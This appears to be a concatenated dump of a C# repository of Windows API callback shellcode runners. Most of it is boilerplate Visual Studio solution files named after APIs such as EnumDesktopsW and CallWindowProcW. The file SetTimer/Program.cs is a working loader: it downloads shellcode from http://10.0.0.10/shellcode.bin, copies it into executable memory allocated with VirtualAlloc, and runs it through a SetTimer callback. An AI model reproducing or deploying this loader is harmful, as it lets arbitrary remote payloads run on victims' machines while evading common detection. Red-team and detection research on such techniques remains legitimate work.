26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {CEF550D5-0C7F-4468-9E5F-2F6FC8BDBD48}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/GrayStringW/GrayStringW.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "GrayStringW", "GrayStringW\GrayStringW.csproj", "{5B6F1100-D426-4AC0-A47C-88DA2470D7C0}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {5B6F1100-D426-4AC0-A47C-88DA2470D7C0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {5B6F1100-D426-4AC0-A47C-88DA2470D7C0}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {5B6F1100-D426-4AC0-A47C-88DA2470D7C0}.Debug|x64.ActiveCfg = Debug|x64
19 | {5B6F1100-D426-4AC0-A47C-88DA2470D7C0}.Debug|x64.Build.0 = Debug|x64
20 | {5B6F1100-D426-4AC0-A47C-88DA2470D7C0}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {5B6F1100-D426-4AC0-A47C-88DA2470D7C0}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {5B6F1100-D426-4AC0-A47C-88DA2470D7C0}.Release|x64.ActiveCfg = Release|x64
23 | {5B6F1100-D426-4AC0-A47C-88DA2470D7C0}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {A8471FE7-CE81-4F2F-A3DB-EDC620890E17}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumDesktopsW/EnumDesktopsW.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumDesktopsW", "EnumDesktopsW\EnumDesktopsW.csproj", "{9DF9DC88-9208-444E-AF4B-DF6A9FE72982}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {9DF9DC88-9208-444E-AF4B-DF6A9FE72982}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {9DF9DC88-9208-444E-AF4B-DF6A9FE72982}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {9DF9DC88-9208-444E-AF4B-DF6A9FE72982}.Debug|x64.ActiveCfg = Debug|x64
19 | {9DF9DC88-9208-444E-AF4B-DF6A9FE72982}.Debug|x64.Build.0 = Debug|x64
20 | {9DF9DC88-9208-444E-AF4B-DF6A9FE72982}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {9DF9DC88-9208-444E-AF4B-DF6A9FE72982}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {9DF9DC88-9208-444E-AF4B-DF6A9FE72982}.Release|x64.ActiveCfg = Release|x64
23 | {9DF9DC88-9208-444E-AF4B-DF6A9FE72982}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {99C63C80-6DCA-4771-BEDF-C56252B8B539}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumPageFilesW/EnumPageFilesW.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumPageFilesW", "EnumPageFilesW\EnumPageFilesW.csproj", "{169E0A75-A977-4727-8B9E-EACBA8341199}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {169E0A75-A977-4727-8B9E-EACBA8341199}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {169E0A75-A977-4727-8B9E-EACBA8341199}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {169E0A75-A977-4727-8B9E-EACBA8341199}.Debug|x64.ActiveCfg = Debug|x64
19 | {169E0A75-A977-4727-8B9E-EACBA8341199}.Debug|x64.Build.0 = Debug|x64
20 | {169E0A75-A977-4727-8B9E-EACBA8341199}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {169E0A75-A977-4727-8B9E-EACBA8341199}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {169E0A75-A977-4727-8B9E-EACBA8341199}.Release|x64.ActiveCfg = Release|x64
23 | {169E0A75-A977-4727-8B9E-EACBA8341199}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {AAC1D15A-948F-4D96-A3FE-78AD07808898}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumPwrSchemes/EnumPwrSchemes.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumPwrSchemes", "EnumPwrSchemes\EnumPwrSchemes.csproj", "{FA9DB3CB-A889-4A61-91B9-735EE2FB5204}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {FA9DB3CB-A889-4A61-91B9-735EE2FB5204}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {FA9DB3CB-A889-4A61-91B9-735EE2FB5204}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {FA9DB3CB-A889-4A61-91B9-735EE2FB5204}.Debug|x64.ActiveCfg = Debug|x64
19 | {FA9DB3CB-A889-4A61-91B9-735EE2FB5204}.Debug|x64.Build.0 = Debug|x64
20 | {FA9DB3CB-A889-4A61-91B9-735EE2FB5204}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {FA9DB3CB-A889-4A61-91B9-735EE2FB5204}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {FA9DB3CB-A889-4A61-91B9-735EE2FB5204}.Release|x64.ActiveCfg = Release|x64
23 | {FA9DB3CB-A889-4A61-91B9-735EE2FB5204}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {9F70A16B-CEE7-4648-B3EF-F1860A56A4A2}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/CallWindowProcW/CallWindowProcW.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CallWindowProcW", "CallWindowProcW\CallWindowProcW.csproj", "{26E11E65-DC63-49B1-9776-BA40B09CC53A}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {26E11E65-DC63-49B1-9776-BA40B09CC53A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {26E11E65-DC63-49B1-9776-BA40B09CC53A}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {26E11E65-DC63-49B1-9776-BA40B09CC53A}.Debug|x64.ActiveCfg = Debug|x64
19 | {26E11E65-DC63-49B1-9776-BA40B09CC53A}.Debug|x64.Build.0 = Debug|x64
20 | {26E11E65-DC63-49B1-9776-BA40B09CC53A}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {26E11E65-DC63-49B1-9776-BA40B09CC53A}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {26E11E65-DC63-49B1-9776-BA40B09CC53A}.Release|x64.ActiveCfg = Release|x64
23 | {26E11E65-DC63-49B1-9776-BA40B09CC53A}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {3E47FD29-78BA-43D2-9344-6D4BFED96452}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumSystemGeoID/EnumSystemGeoID.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumSystemGeoID", "EnumSystemGeoID\EnumSystemGeoID.csproj", "{E52F7377-1D34-45FA-8F70-6C1723F3C5F6}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {E52F7377-1D34-45FA-8F70-6C1723F3C5F6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {E52F7377-1D34-45FA-8F70-6C1723F3C5F6}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {E52F7377-1D34-45FA-8F70-6C1723F3C5F6}.Debug|x64.ActiveCfg = Debug|x64
19 | {E52F7377-1D34-45FA-8F70-6C1723F3C5F6}.Debug|x64.Build.0 = Debug|x64
20 | {E52F7377-1D34-45FA-8F70-6C1723F3C5F6}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {E52F7377-1D34-45FA-8F70-6C1723F3C5F6}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {E52F7377-1D34-45FA-8F70-6C1723F3C5F6}.Release|x64.ActiveCfg = Release|x64
23 | {E52F7377-1D34-45FA-8F70-6C1723F3C5F6}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {A577F02C-803B-4B2B-A0B6-BA1FF551E0D1}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/CryptEnumOIDInfo/CryptEnumOIDInfo.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CryptEnumOIDInfo", "CryptEnumOIDInfo\CryptEnumOIDInfo.csproj", "{C049D4A4-673C-4C98-8812-B66D507CB6BE}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {C049D4A4-673C-4C98-8812-B66D507CB6BE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {C049D4A4-673C-4C98-8812-B66D507CB6BE}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {C049D4A4-673C-4C98-8812-B66D507CB6BE}.Debug|x64.ActiveCfg = Debug|x64
19 | {C049D4A4-673C-4C98-8812-B66D507CB6BE}.Debug|x64.Build.0 = Debug|x64
20 | {C049D4A4-673C-4C98-8812-B66D507CB6BE}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {C049D4A4-673C-4C98-8812-B66D507CB6BE}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {C049D4A4-673C-4C98-8812-B66D507CB6BE}.Release|x64.ActiveCfg = Release|x64
23 | {C049D4A4-673C-4C98-8812-B66D507CB6BE}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {539F022D-C117-418C-9219-495835761719}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumCalendarInfo/EnumCalendarInfo.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumCalendarInfo", "EnumCalendarInfo\EnumCalendarInfo.csproj", "{FC731635-4DDE-4566-B9E5-9231561C0EC5}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {FC731635-4DDE-4566-B9E5-9231561C0EC5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {FC731635-4DDE-4566-B9E5-9231561C0EC5}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {FC731635-4DDE-4566-B9E5-9231561C0EC5}.Debug|x64.ActiveCfg = Debug|x64
19 | {FC731635-4DDE-4566-B9E5-9231561C0EC5}.Debug|x64.Build.0 = Debug|x64
20 | {FC731635-4DDE-4566-B9E5-9231561C0EC5}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {FC731635-4DDE-4566-B9E5-9231561C0EC5}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {FC731635-4DDE-4566-B9E5-9231561C0EC5}.Release|x64.ActiveCfg = Release|x64
23 | {FC731635-4DDE-4566-B9E5-9231561C0EC5}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {3FE5E7D3-A348-4E7D-9CC1-9D5800BA7AC9}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumChildWindows/EnumChildWindows.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumChildWindows", "EnumChildWindows\EnumChildWindows.csproj", "{87FCBA3B-29BE-472B-B944-E4EBF35B1468}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {87FCBA3B-29BE-472B-B944-E4EBF35B1468}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {87FCBA3B-29BE-472B-B944-E4EBF35B1468}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {87FCBA3B-29BE-472B-B944-E4EBF35B1468}.Debug|x64.ActiveCfg = Debug|x64
19 | {87FCBA3B-29BE-472B-B944-E4EBF35B1468}.Debug|x64.Build.0 = Debug|x64
20 | {87FCBA3B-29BE-472B-B944-E4EBF35B1468}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {87FCBA3B-29BE-472B-B944-E4EBF35B1468}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {87FCBA3B-29BE-472B-B944-E4EBF35B1468}.Release|x64.ActiveCfg = Release|x64
23 | {87FCBA3B-29BE-472B-B944-E4EBF35B1468}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {3FA6A5DE-DF46-439F-9848-C5E6D63844F4}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumDateFormatsW/EnumDateFormatsW.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumDateFormatsW", "EnumDateFormatsW\EnumDateFormatsW.csproj", "{7999A66F-AA53-4529-B14E-7640AAD9F823}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {7999A66F-AA53-4529-B14E-7640AAD9F823}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {7999A66F-AA53-4529-B14E-7640AAD9F823}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {7999A66F-AA53-4529-B14E-7640AAD9F823}.Debug|x64.ActiveCfg = Debug|x64
19 | {7999A66F-AA53-4529-B14E-7640AAD9F823}.Debug|x64.Build.0 = Debug|x64
20 | {7999A66F-AA53-4529-B14E-7640AAD9F823}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {7999A66F-AA53-4529-B14E-7640AAD9F823}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {7999A66F-AA53-4529-B14E-7640AAD9F823}.Release|x64.ActiveCfg = Release|x64
23 | {7999A66F-AA53-4529-B14E-7640AAD9F823}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {A26F5001-5157-4378-A20D-97CB1B377F21}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumUILanguagesW/EnumUILanguagesW.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumUILanguagesW", "EnumUILanguagesW\EnumUILanguagesW.csproj", "{86EC4ABF-83BB-4C5A-B27E-CCD56F1E4300}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {86EC4ABF-83BB-4C5A-B27E-CCD56F1E4300}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {86EC4ABF-83BB-4C5A-B27E-CCD56F1E4300}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {86EC4ABF-83BB-4C5A-B27E-CCD56F1E4300}.Debug|x64.ActiveCfg = Debug|x64
19 | {86EC4ABF-83BB-4C5A-B27E-CCD56F1E4300}.Debug|x64.Build.0 = Debug|x64
20 | {86EC4ABF-83BB-4C5A-B27E-CCD56F1E4300}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {86EC4ABF-83BB-4C5A-B27E-CCD56F1E4300}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {86EC4ABF-83BB-4C5A-B27E-CCD56F1E4300}.Release|x64.ActiveCfg = Release|x64
23 | {86EC4ABF-83BB-4C5A-B27E-CCD56F1E4300}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {8A5694BB-6DD9-41BC-8A77-92919A57FE00}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/SetTimer/SetTimer/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace SetTimer
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | UIntPtr nIDEvent = UIntPtr.Zero;
22 | SetTimer(IntPtr.Zero, nIDEvent, 0, addr);
23 |
24 | IntPtr lpMsg = IntPtr.Zero;
25 | GetMessageW(ref lpMsg, IntPtr.Zero, 0, 0);
26 |
27 | DispatchMessageW(ref lpMsg);
28 | }
29 |
30 | [DllImport("kernel32.dll", SetLastError = true)]
31 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
32 |
33 | [DllImport("user32.dll")]
34 | static extern UIntPtr SetTimer(IntPtr hWnd, UIntPtr nIDEvent, uint uElapse, IntPtr lpTimerFunc);
35 |
36 | [DllImport("user32.dll")]
37 | static extern bool GetMessageW(ref IntPtr lpMsg, IntPtr hWnd, uint wMsgFilterMin, uint wMsgFilterMax);
38 |
39 | [DllImport("user32.dll")]
40 | static extern IntPtr DispatchMessageW(ref IntPtr lpMsg);
41 | }
42 |
43 | }
44 |
45 |
--------------------------------------------------------------------------------
/SymEnumProcesses/SymEnumProcesses.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SymEnumProcesses", "SymEnumProcesses\SymEnumProcesses.csproj", "{0FA84DC0-A45E-4D12-82CB-B5B1512AC12F}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {0FA84DC0-A45E-4D12-82CB-B5B1512AC12F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {0FA84DC0-A45E-4D12-82CB-B5B1512AC12F}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {0FA84DC0-A45E-4D12-82CB-B5B1512AC12F}.Debug|x64.ActiveCfg = Debug|x64
19 | {0FA84DC0-A45E-4D12-82CB-B5B1512AC12F}.Debug|x64.Build.0 = Debug|x64
20 | {0FA84DC0-A45E-4D12-82CB-B5B1512AC12F}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {0FA84DC0-A45E-4D12-82CB-B5B1512AC12F}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {0FA84DC0-A45E-4D12-82CB-B5B1512AC12F}.Release|x64.ActiveCfg = Release|x64
23 | {0FA84DC0-A45E-4D12-82CB-B5B1512AC12F}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {48851CED-17C0-4637-AE71-358EEDFEF17E}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumSystemLocales/EnumSystemLocales.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumSystemLocales", "EnumSystemLocales\EnumSystemLocales.csproj", "{FACEABDD-778E-49BA-916C-5D9F8DD24CAC}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {FACEABDD-778E-49BA-916C-5D9F8DD24CAC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {FACEABDD-778E-49BA-916C-5D9F8DD24CAC}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {FACEABDD-778E-49BA-916C-5D9F8DD24CAC}.Debug|x64.ActiveCfg = Debug|x64
19 | {FACEABDD-778E-49BA-916C-5D9F8DD24CAC}.Debug|x64.Build.0 = Debug|x64
20 | {FACEABDD-778E-49BA-916C-5D9F8DD24CAC}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {FACEABDD-778E-49BA-916C-5D9F8DD24CAC}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {FACEABDD-778E-49BA-916C-5D9F8DD24CAC}.Release|x64.ActiveCfg = Release|x64
23 | {FACEABDD-778E-49BA-916C-5D9F8DD24CAC}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {38FB2AC3-A20A-47C0-B2D7-16A07EF498A2}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumThreadWindows/EnumThreadWindows.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumThreadWindows", "EnumThreadWindows\EnumThreadWindows.csproj", "{58E7C4E0-DB5E-483F-BC94-2BE382E1DC7B}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {58E7C4E0-DB5E-483F-BC94-2BE382E1DC7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {58E7C4E0-DB5E-483F-BC94-2BE382E1DC7B}.Debug|Any CPU.Build.0 = Debug|Any CPU
